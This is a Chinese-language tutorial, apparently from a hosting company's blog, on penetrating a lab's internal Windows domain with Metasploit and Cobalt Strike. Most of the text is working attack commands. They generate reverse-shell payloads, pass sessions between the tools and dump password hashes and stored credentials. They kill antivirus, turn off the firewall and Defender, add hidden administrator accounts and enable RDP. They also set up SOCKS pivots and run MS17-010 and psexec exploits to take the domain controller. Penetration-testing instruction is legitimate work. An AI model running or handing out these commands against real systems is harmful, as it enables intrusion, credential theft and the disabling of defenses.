您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關怎么實現Metasploit和Cobaltstrike內網域滲透分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
靶場常見的網絡拓撲環境如下:
web服務器安裝有雙網卡,一塊網卡連接互聯網,一塊網卡連接內網,內網里的機器是無法直接連接互聯網的。我們使用vmware來模擬上述環境,配置網卡如下:
我們甚至還可以將web服務器的上網網卡NAT改為自定義VMnet3,將攻擊機的網卡也改為VMnet3,這樣的好處是整個滲透測試過程既保證了網絡都是通的,又保證了ip不會發生變化,利于我們持續的作滲透,ip自定義為我們便于記憶數字,提高我們的效率。(有時候6個以上虛擬機同時開著,時不時忘了ip又得來回切換真的很痛苦)
搭建好測試環境后,第一步是開始對web服務器進行滲透。因為web服務器同時連接了外網和內網,所以必須首先拿下。這里有關web服務器的滲透不展開講了,無非也就是利用漏洞,諸如:弱口令、上傳漏洞、遠程代碼執行、各種cms漏洞,總之都是可以找到寫入webshell的方法。對于靶場來說,最直接的方法就是查找網站的指紋,然后去找對應的漏洞進行利用。成功寫入webshell后,接著就要上傳木馬控制web服務器,這里可以用Metasploit(以下簡稱:MSF)或Cobaltstrike(以下簡稱CS)。
用nmap掃描下端口還是很必要的:
nmap -sS -n -A 192.168.167.130
效果還是很不錯的,雖然web服務器的防火墻和360都是開著的;
我們以windows木馬為例進行講解:
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.164.134 LPORT=4444 -f exe > shell.exe use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.164.134 set lport 4444 exploit
meterpreter的進入與退出:
常規動作先提權;
執行run post/windows/manage/enable_rdp模塊來打開遠程桌面;
啟動CS服務器端:
啟動CS客戶端:
配置好監聽器:
生成后門、上傳、執行一氣呵成;
成功連接,由于受害機默認60秒進行一次回傳,為了實驗效果我們這里把時間設置成1,sleep 1;
CS安裝插件,擴展其功能:
提權成功,可看到多出一個通道:
因為兩個工具不同的特點,想同時使用也是可以的,只需要進行下會話互傳。
(1)MSF派生給CS
先創建監聽器:
打開msf,使用payload_inject模塊注入到cobalt strike,注意使用的payload要和cs的一致為reverse_http,因為cs監聽的是reverse_http。
meterpreter > background msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject # 設置與cs相同的payload; msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http msf5 exploit(windows/local/payload_inject) > set lhost 192.168.10.128 msf5 exploit(windows/local/payload_inject) > set lport 4444 # 設置剛才獲得session msf5 exploit(windows/local/payload_inject) > set session 1 msf5 exploit(windows/local/payload_inject) > set disablepayloadhandler true msf5 exploit(windows/local/payload_inject) > run
(2)CS派生給MSF
這里進行一個操作,將會話分給msf一個;
msf如下操作: msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.164.134 lhost => 192.168.164.134 msf exploit(handler) > set lport 5555 lport => 5555 msf exploit(handler) > exploit
CS這邊先新增監聽器,然后選增加會話,即spawn:
成功后:
打入內網后,首先要進行的就是信息收集,弄清楚內網有哪些網段,域控是哪個,域用戶有哪些等重要信息,為后續的滲透提供支持。
(1)dos命令的方式
先進行基本信息的收集:在提權成功的情況下,以system的身份來運行下列命令,大部分都有回顯,不會報錯;
ipconfig /all 查看本機ip,所在域 route print 打印路由信息 net view 查看局域網內其他主機名 arp -a 查看arp緩存 net start 查看開啟了哪些服務 net share 查看開啟了哪些共享 net share ipc$ 開啟ipc共享 net share c$ 開啟c盤共享 net use \\192.168.xx.xx\ipc$ "" /user:"" 與192.168.xx.xx建立空連接 net use \\192.168.xx.xx\c$ "密碼" /user:"用戶名" 建立c盤共享 dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盤user目錄下的文件 net config Workstation 查看計算機名、全名、用戶名、系統版本、工作站、域、登錄域 net user 查看本機用戶列表 net time /domain #查看時間服務器,判斷主域,主域服務器都做時間服務器 net user /domain 查看域用戶 net localgroup administrators 查看本地管理員組(通常會有域用戶) net view /domain 查看有幾個域 net user 用戶名 /domain 獲取指定域用戶的信息 net group /domain 查看域里面的工作組,查看把用戶分了多少組(只能在域控上操作) net group 組名 /domain 查看域中某工作組 net group "domain admins" /domain 查看域管理員的名字 net group "domain computers" /domain 查看域中的其他主機名 net group "doamin controllers" /domain 查看域控制器(可能有多臺)
滲透過程中可能用到的dos命令也在這一并講了:
net user hack hack123 /add net localgroup administrator hack /add net localgroup "Remote Desktop Users" hack /add 開啟3389; REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f netsh advfirewall set allprofiles state off #關閉防火墻 net stop windefend
(2)MSF模塊信息收集
抓取密碼的方法:
ps命令查看進程ID,一般選擇explorer.exe對應的PID:
探測域內存活主機:
域控列表:
所有存活主機:
更多的就不一一演示和截圖了,以列表的方式提供給大家,在實際滲透中靈活選用:
Post 后滲透模塊
run post/windows/manage/migrate #自動進程遷移 run post/windows/gather/checkvm #查看目標主機是否運行在虛擬機上 run post/windows/manage/killav #關閉殺毒軟件 run post/windows/manage/enable_rdp #開啟遠程桌面服務 run post/windows/manage/autoroute #查看路由信息 run post/windows/gather/enum_logged_on_users #列舉當前登錄的用戶 run post/windows/gather/enum_applications #列舉應用程序 run post/windows/gather/credentials/windows_autologin #抓取自動登錄的用戶名和密碼 run post/windows/gather/smart_hashdump #dump出所有用戶的hash run getgui -u hack -p 123 run post/windows/gather/enum_patches 補丁信息 run post/multi/recon/local_exploit_suggester 查詢可利用的漏洞 有時候無法使用后滲透模塊添加用戶 可以使用shell自主添加 net user hack Zyx960706 /add net localgroup administrator hack /add netsh advfirewall set allprofiles state off #關閉防火墻 net stop windefend run post/windows/gather/enum_patches 補丁信息 run post/multi/recon/local_exploit_suggester 查詢可利用的漏洞
域內存活主機探測(系統、端口)
auxiliary/scanner/discovery/udp_sweep #基于udp協議發現內網存活主機 auxiliary/scanner/discovery/udp_probe #基于udp協議發現內網存活主機 auxiliary/scanner/netbios/nbname #基于netbios協議發現內網存活主機 auxiliary/scanner/portscan/tcp #基于tcp進行端口掃描(1-10000),如果開放了端口,則說明該主機存活
端口掃描
auxiliary/scanner/portscan/tcp #基于tcp進行端口掃描(1-10000) auxiliary/scanner/portscan/ack #基于tcp的ack回復進行端口掃描,默認掃描1-10000端口 端口掃描有時會使會話終端,所以可以上傳nmap后在shell中使用nmap掃描。但是要記得清理
服務掃描
auxiliary/scanner/ftp/ftp_version #發現內網ftp服務,基于默認21端口 auxiliary/scanner/ssh/ssh_version #發現內網ssh服務,基于默認22端口 auxiliary/scanner/telnet/telnet_version #發現內網telnet服務,基于默認23端口 auxiliary/scanner/dns/dns_amp #發現dns服務,基于默認53端口 auxiliary/scanner/http/http_version #發現內網http服務,基于默認80端口 auxiliary/scanner/http/title #探測內網http服務的標題 auxiliary/scanner/smb/smb_version #發現內網smb服務,基于默認的445端口 use auxiliary/scanner/mssql/mssql_schemadump #發現內網SQLServer服務,基于默認的1433端口 use auxiliary/scanner/oracle/oracle_hashdump #發現內網oracle服務,基于默認的1521端口 auxiliary/scanner/mysql/mysql_version #發現內網mysql服務,基于默認3306端口 auxiliary/scanner/rdp/rdp_scanner #發現內網RDP服務,基于默認3389端口 auxiliary/scanner/redis/redis_server #發現內網Redis服務,基于默認6379端口 auxiliary/scanner/db2/db2_version #探測內網的db2服務,基于默認的50000端口 auxiliary/scanner/netbios/nbname #探測內網主機的netbios名字
(3)CS模塊進行信息收集
使用portscan命令:ip網段 — ports端口 — 掃描協議(arp、icmp、none)— 線程(實戰不要過高)。
portscan 192.168.52.0/24 445 arp 200
點擊工具欄的View–>Targets,查看端口探測后的存活主機。(Targets可自行添加)
抓密碼:
這里再介紹一個收集密碼工具-LaZagne,每個軟件都使用不同的技術(純文本,API,自定義算法,數據庫等)存儲其密碼,這個工具是用來獲取存儲在本地計算機上的密碼,諸如瀏覽器密碼等等。
發現目標后,為方便后續工具的使用,需要先搭建代理,將web服務器搭建成socks5代理服務器,內網滲透里先把網調通是最關鍵的,所以下面會多講點代理的問題;
(1)meterpreter搭建反向socks4代理
run get_local_subnets #查看路由段
run autoroute -s 192.168.52.0/24 #添加路由至本地
run autoroute -p #打印當前路由信息
退出來連接同樣是存在的,可以放心操作;
添加路由的目的是為了讓MSF其他模塊能訪問內網的其他主機,即52網段的攻擊流量都通過已滲透的這臺目標主機的meterpreter會話來傳遞。
添加socks4a代理的目的是為了讓其他軟件更方便的訪問到內網的其他主機的服務。(添加路由一定要在掛代理之前,因為代理需要用到路由功能)
編輯本地的代理服務:
vim /etc/proxychains.conf
測試一下:
proxychains nmap -p 1-1000 -Pn -sT 192.168.52.141 # -Pn和-sT必須要有
proxychains是無法代理icmp流量的,所以ping是沒有用的。
補充一個meterpreter反彈單個端口的用法:
portfwd 是meterpreter提供的一種基本的端口轉發。porfwd可以反彈單個端口到本地,并且監聽.使用方法如下:
meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> The local host to listen on (optional). -h Help banner. -l <opt> The local port to listen on. -p <opt> The remote port to connect to. -r <opt> The remote host to connect to.
使用實例介紹:
反彈10.1.1.129端口3389到本地2222并監聽那么可以使用如下方法:
meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
[*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389
meterpreter > portfwd
0: 0.0.0.0:2222 -> 10.1.1.129:3389
1 total local port forwards.
接著連接本地2222端口即可連接受害機器10.1.1.129 3389端口,如下:
root@kali:~# rdesktop 127.1.1.0:2222
(2)ew、frp搭建代理
了解清楚代理的原理之后,還可以用第三方的軟件來試試,比如ew,frp;
在這里把kali的攻擊機可以理解為公網,web服務器那臺理解為內網,下面以ew測試:
kali:./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &
該命令的意思是說公網機器監聽1080和1024端口。等待攻擊者機器訪問1080端口,目標機器訪問1024端口。
目標機器執行如下命令:
win7:ew.exe -s rssocks -d 192.168.164.134 -e 1024
修改kali里proxychains的配置文件/etc/c.conf:
上面的配置完后,可以開始測試了:
利用frp搭建socks代理
上傳frp客戶端及配置文件到目標機器:
啟動客戶端:
實踐當中多用反向代理,正向的容易被防火墻攔住,所以都是將程序的服務器端架在公網,客戶端在內網,做橫向移動。
(3)CS搭建代理
CS添加一個代理:建立了一條由攻擊機到web服務器的socks通道,socks的服務端在攻擊機,也是反向代理;
View > Proxy Pivots復制代理鏈接到MSF中;
msf5 > setg Proxies socks4/5:ip:port #讓msf所有模塊的流量都通過此代理走。(setg全局設置)
msf5 > setg ReverseAllowProxy true #允許反向代理,通過socks反彈shell,建立雙向通道。
這里ip需要修改為CS服務器的ip。
(1)MSF的利用
開放了445端口,所以利用 use auxiliary/scanner/smb/smb_version 可以掃描系統版本,掃描結果是win2003;
ms08-067沒打下來,可以用 use auxiliary/admin/smb/ms17_010_command 執行一些系統權限的命令,添加管理員用戶嘗試3389登錄;
use auxiliary/admin/smb/ms17_010_command show options set rhosts 192.168.52.141 set command net user test hongrisec@2019 /add #添加用戶 run #成功執行 set command net localgroup administrators test /add #管理員權限 run #成功執行 set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' run #成功執行
遠程連接一下:
還可以使用exploit/windows/smb/ms17_010_psexec 嘗試去打一個shell回來:
use exploit/windows/smb/ms17_010_psexec set rhosts 192.168.52.141 set payload windows/meterpreter/bind_tcp set lhost 192.168.164.134 set lport 6666 set SMBPass hongrisec@2019 set SMBUser test run
因為之前抓到了域管理的賬號密碼所以直接使用exploit/windows/smb/psexec模塊拿下域控,且是管理員權限;
還可以使用的模塊有:
exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/psexec_psh exploit/windows/smb/eternalblue_doublepulsar
msf木馬穿透內網
用msf生成一個內網的木馬,此處內網ip10段是不能直接連接192段的;將木馬種在內網10段的機器上;
PC服務器內網IP;
web服務器雙網卡;
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.80 LPORT=6677 -f exe > 444.exe use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.167.131 set lport 7777 exploit
在web服務器用lcx工具執行端口轉發:
在PC端運行木馬,然后成功回連;
還可以用msf自帶的通道,將路由添加上,其實就已經是通的了;
run get_local_subnets #查看路由段
run autoroute -s 10.10.10.0/24 #添加路由至本地
run autoroute -p #打印當前路由信息
借用的是session 3的通道,而session 3是雙網卡,能通內網的;
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.80 LPORT=6677 -f exe > 444.exe use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 10.10.10.80 set lport 6677 exploit
在這里復用exploit/multi/handler模塊,進行重新設置是可以的,將端口分開使用不要重復;
運行程序后成功上線:兩個會話同時存在,沒有沖突;
(2)CS的利用
獲取憑據后,可以利用psexec傳遞登錄;
在Beacon中可以看到執行的命令,并會顯示成功登錄的ip,之后就便會上線CobalStrike。這樣就控制了多個主機的系統權限。
因為CS的smb的beacon不穩定,所以考慮作個代理;CS代理功能很強大,直接帶的有;
對于域成員,還可以使用psexec_psh;
主要還是集中在了MSF、CS工具的熟練運用,代理的靈活變通,域滲透的基本思路及方法。
看完上述內容,你們對怎么實現Metasploit和Cobaltstrike內網域滲透分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。